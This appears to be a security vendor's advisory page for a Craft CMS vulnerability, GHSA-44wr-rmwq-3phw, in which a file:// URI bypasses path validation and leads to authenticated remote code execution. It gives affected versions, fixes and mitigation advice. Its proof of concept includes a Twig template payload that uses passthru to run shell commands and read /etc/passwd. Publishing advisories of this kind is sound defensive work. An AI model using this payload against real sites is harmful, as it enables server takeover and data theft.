GHSA-44wr-rmwq-3phw is a high-severity (CVSS 7.2) CWE-74 vulnerability in craftcms/cms. 1 public exploit reference exists, so weaponization risk is real. A fix is available for craftcms/cms — see the affected versions and patch details below.
Craft CMS vulnerable to Remote Code Execution via validatePath bypass
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-44wr-rmwq-3phw.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-44wr-rmwq-3phw plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
craftcms/cms🐘craftcms/cmsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Bypassing the validatePath function can lead to potential Remote Code Execution (Post-authentication, ALLOW_ADMIN_CHANGES=true)
Details
In bootstrap.php, the SystemPaths path is set as below.
// Set the vendor path. By default assume that it's 4 levels up from here
$vendorPath = $findConfigPath('--vendorPath', 'CRAFT_VENDOR_PATH') ?? dirname(__DIR__, 3);
// Set the "project root" path that contains config/, storage/, etc. By default assume that it's up a level from vendor/.
$rootPath = $findConfigPath('--basePath', 'CRAFT_BASE_PATH') ?? dirname($vendorPath);
// By default the remaining directories will be in the base directory
$dotenvPath = $findConfigPath('--dotenvPath', 'CRAFT_DOTENV_PATH') ?? "$rootPath/.env";
$configPath = $findConfigPath('--configPath', 'CRAFT_CONFIG_PATH') ?? "$rootPath/config";
$contentMigrationsPath = $findConfigPath('--contentMigrationsPath', 'CRAFT_CONTENT_MIGRATIONS_PATH') ?? "$rootPath/migrations";
$storagePath = $findConfigPath('--storagePath', 'CRAFT_STORAGE_PATH') ?? "$rootPath/storage";
$templatesPath = $findConfigPath('--templatesPath', 'CRAFT_TEMPLATES_PATH') ?? "$rootPath/templates";
$translationsPath = $findConfigPath('--translationsPath', 'CRAFT_TRANSLATIONS_PATH') ?? "$rootPath/translations";
$testsPath = $findConfigPath('--testsPath', 'CRAFT_TESTS_PATH') ?? "$rootPath/tests";
Because paths are validated based on the /path1/path2 format, this can be bypassed using a file URI scheme such as file:///path1/path2. File scheme is supported in mkdir()
/**
* @param string $attribute
* @param array|null $params
* @param InlineValidator $validator
* @return void
* @since 4.4.6
*/
public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void
{
// Make sure it’s not within any of the system directories
$path = FileHelper::absolutePath($this->getRootPath(), '/');
$systemDirs = Craft::$app->getPath()->getSystemPaths();
foreach ($systemDirs as $dir) {
$dir = FileHelper::absolutePath($dir, '/');
if (str_starts_with("$path/", "$dir/")) {
$validator->addError($this, $attribute, Craft::t('app', 'Local volumes cannot be located within system directories.'));
break;
}
}
}
ref. https://www.php.net/manual/en/wrappers.file.php
PoC
- Create a new filesystem. Base Path: file:///var/www/html/templates
- Create a new asset volume. Asset Filesystem: local_bypass
- Upload a ttml file with rce template code. Confirm poc.ttml file created in /var/www/html/templates
{{'<pre>'}}
{{1337*1337}}
{{['cat /etc/passwd']|map('passthru')|join}}
{{['id;pwd;ls -altr /']|map('passthru')|join}}
- Create a new route. URI: * , Template: poc.ttml
- Confirm RCE on arbitrary path ( /* )
PoC Env
Impact
Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.
although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | craftcms/cms | ≥ 4.0.0-RC1&&< 4.4.15 | 4.4.15composer require craftcms/cms:^4.4.15 |
| 🐘Packagist | craftcms/cms | ≥ 3.0.0&&< 3.8.15 | 3.8.15composer require craftcms/cms:^3.8.15 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for craftcms/cms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update craftcms/cms to 4.4.15 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-44wr-rmwq-3phw is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-44wr-rmwq-3phw can be triaged on real exposure rather than presence alone.
Tailored to GHSA-44wr-rmwq-3phw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-44wr-rmwq-3phw in your dependencies?
O3 Security finds GHSA-44wr-rmwq-3phw across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.